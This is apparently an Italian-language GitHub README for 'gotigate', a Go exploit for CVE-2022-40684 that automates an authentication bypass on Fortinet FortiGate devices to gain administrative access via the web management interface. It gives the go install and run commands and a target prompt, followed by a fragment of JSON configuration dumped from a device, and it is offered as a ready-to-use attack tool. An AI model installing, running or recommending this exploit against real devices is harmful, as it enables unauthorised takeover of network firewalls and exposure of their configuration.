gustavorobertux/gotigateExploit basato su Go per CVE-2022-40684 che mira ai dispositivi Fortinet FortiGate. Automatizza il bypass dell'autenticazione per ottenere accesso amministrativo tramite l'interfaccia di gestione web.
Sfrutta CVE-2022-40684
▶ go install github.com/gustavorobertux/gotigate@latest
▶ gotigate
TARGET> IP o yourdomain.com
"height":1,
"interface":"",
"csf-device":"",
"table-visualization":"",
"device-list-online":"",
"device-list-telemetry":"",
"device-list-view-type":"",
"fabric-device":"",
"fabric-device-widget-name":"",
"fabric-device-widget-visualization-type":"",
"router-view-type":"staticdynamic",
"fsso-user-visibility":"disable",
"title":"",
"fortiview-type":"",
"fortiview-sort-by":"",
"fortiview-timeframe":"",
"fortiview-visualization":"",
"fortiview-device":"",
"fortiview-filters":[
...
Saluti : @riramar !